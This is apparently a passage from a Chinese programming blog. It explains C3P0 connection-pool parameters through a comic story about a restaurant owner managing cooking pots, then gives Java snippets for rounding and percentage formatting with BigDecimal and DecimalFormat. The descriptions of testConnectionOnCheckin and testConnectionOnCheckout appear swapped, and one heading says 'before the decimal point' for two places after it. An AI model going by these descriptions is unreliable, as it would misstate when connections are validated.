acquireRetryDelay:两次连接中间隔时间,单位毫秒,默认为1000一天后伙计:“对了,老板,今天小张伙计一天都在偷懒。”你:“怎么回事?”伙计:“小张今天拿到了一个坏锅,怎么也点不着火,然后他就一直点,一直点,一天都没干活,哼!我都累死啦!”你:“这个小张,真是个滑头,好吧。我们从明天立一个规矩,锅点不着火后,只允许重试acquireRetryAttempts次,就设置为10次把,如果超过10次,就要像我提出异常,我去联系炊具店来修理,你们就无法偷懒了,哇卡卡卡卡卡!”
acquireRetryAttempts:定义在从数据库获取新连接失败后重复尝试获取的次数,默认为30一天后伙计:“老板,我们人手不够了,20个锅,差不多需要7个人才能耍的过来,人少时候,利用不了全部的20个锅。”你:“好办,把numHelperThreads设为7,你们每个人就是一根线程,记住喽!”伙计:“我们是什么?”你:“线程!”伙计:“........”伙计:“哦,我去干活了。”你:“你早就该去干活去了,哼!”
numHelperThreads:C3P0是异步操作的,缓慢的JDBC操作通过帮助进程完成。扩展这些操作可以有效的提升性能,通过多线程实现多个操作同时被执行。默认为3
一天后伙计:“老板,不好了,小张伙计又偷懒了!”你:“我操,他又怎么了?”伙计:“由于20个锅已满,他拿不到第21个锅,就在那里等着,也不去切菜、刷碗,太偷懒了,我都要累死了!”你:“懂了,把checkoutTimeout设为100000,只要他等待超过100秒,就要像我报异常,我来为他重新分配任务!”伙计:“太好啦!!”
checkoutTimeout:当连接池用完时客户端调用getConnection()后等待获取新连接的时间,超时后将抛出SQLException,如设为0则无限期等待。单位毫秒,默认为0一个月之后你:“伙计们,我们开店终于有1个月了,大家来算一下我们盈利的多少钱,大家分分红,我这个人还是很开明的嘛,哈哈哈哈!”伙计:“报告老板,本店本月净亏 2000 两纹银!”你:“怎么回事?我来看一下账目!”你:“为什么木柴花钱这么多!!!!!”伙计:“因为每天开始时候是5个锅,然后客人多了,每次开3个锅,最后20个锅全开。然后吃饭高峰过去后客人少了,我们的20个锅都还烧着,其实很多时候并没有菜需要炒。”你:“你们为什么不关锅?????”伙计:“我们炒菜好了,不知道下面有没有客人来,无法确定刚用完的锅需不需要灭。”你:“这样吧,凭你们的智商也解决不了了,从明天开始,你们炒菜的时候也要长点心,每idleConnectionTestPeriod秒钟,也就是,额,100秒吧,每100秒检查一下全部的20个锅,如果发现了某个锅已经空闲了maxIdleTime秒钟没有炒菜,就把他关了,额设为60秒吧!
idleConnectionTestPeriod:隔多少秒检查所有连接池中的空闲连接,默认为0表示不检查
maxIdleTime:最大空闲时间,超过空闲时间的连接将被丢弃。为0或负数则永不丢弃。默认为0
伙计:“老板英明,不过,如果一段时间没人吃饭,所有锅都关了,再来客人的时候,生火来不及啊,我们是不是应该保留最少几个锅一直不关呀?”你:“我靠,跟我说一席话胜,胜读你十年书啊,你小子是智商见长啊!这样吧,最后留3个锅的火就行了,这就是minPoolSize。”
minPoolSize:连接池中保留的最小连接数你:“恩,说了那么多,你看看怎么样更好的使用锅呀?”伙计:“我们可以对锅进行检查测试,然后再使用。”你:“有理,何时检查?”伙计:“把testConnectionOnCheckin设成true就可以在每次新开一个锅的时候检查了,如果把testConnectionOnCheckout设成true就可以在每次炒菜的时候检查了。”
testConnectionOnCheckin:如果设为true那么在取得连接的同时将校验连接的有效性。默认为false
testConnectionOnCheckout:因性能消耗大请只在需要的时候使用它。如果设为true那么在每个connection提交的时候都将校验其有效性。建议使用idleConnectionTestPeriod或automaticTestTable等方法来提升连接测试的性能。默认为 false你:“我擦,原来你会英语啊!”伙计:“我,我,我,我说了什么了?我什么都不知道啊!”你:“小张、小王、小李,速来把这个伙计拖到后面,乱棍打死,他知道的太多了。”小张、小王、小李:“嘿嘿,我们等了好久了!”“啊啊啊啊”就在这个时候,你被经理一巴掌拍醒。经理:“别睡啦!天亮啦,起来干活啦!昨夜让你通宵加班,你却在电脑前睡觉,这样吧,今晚你再通个宵!”你:“............”
----------------------------故事叙述结束
2013年9月9日:
问题1、如何取小数点前两位,并四舍五入,再进行显示百分比?
小数点前两位方法1:
BigDecimal bd = new BigDecimal(0.4567);
// 保留两位小数且向上进位的四舍五入,四舍五入后要重新赋值,不仅只setScale
BigDecimal bds = bd.setScale(2, BigDecimal.ROUND_HALF_UP);
System.out.println(bds);
小数点前两位方法2:
DecimalFormat df = new DecimalFormat("#,##0.00");
df.setRoundingMode(RoundingMode.HALF_UP);
String str = df.format(1234.4547);
System.out.println(str);
百分比显示:
DecimalFormat df=new DecimalFormat("0.00%");
df.setRoundingMode(RoundingMode.HALF_UP);
String str = df.format(0.4567);
System.out.println(str);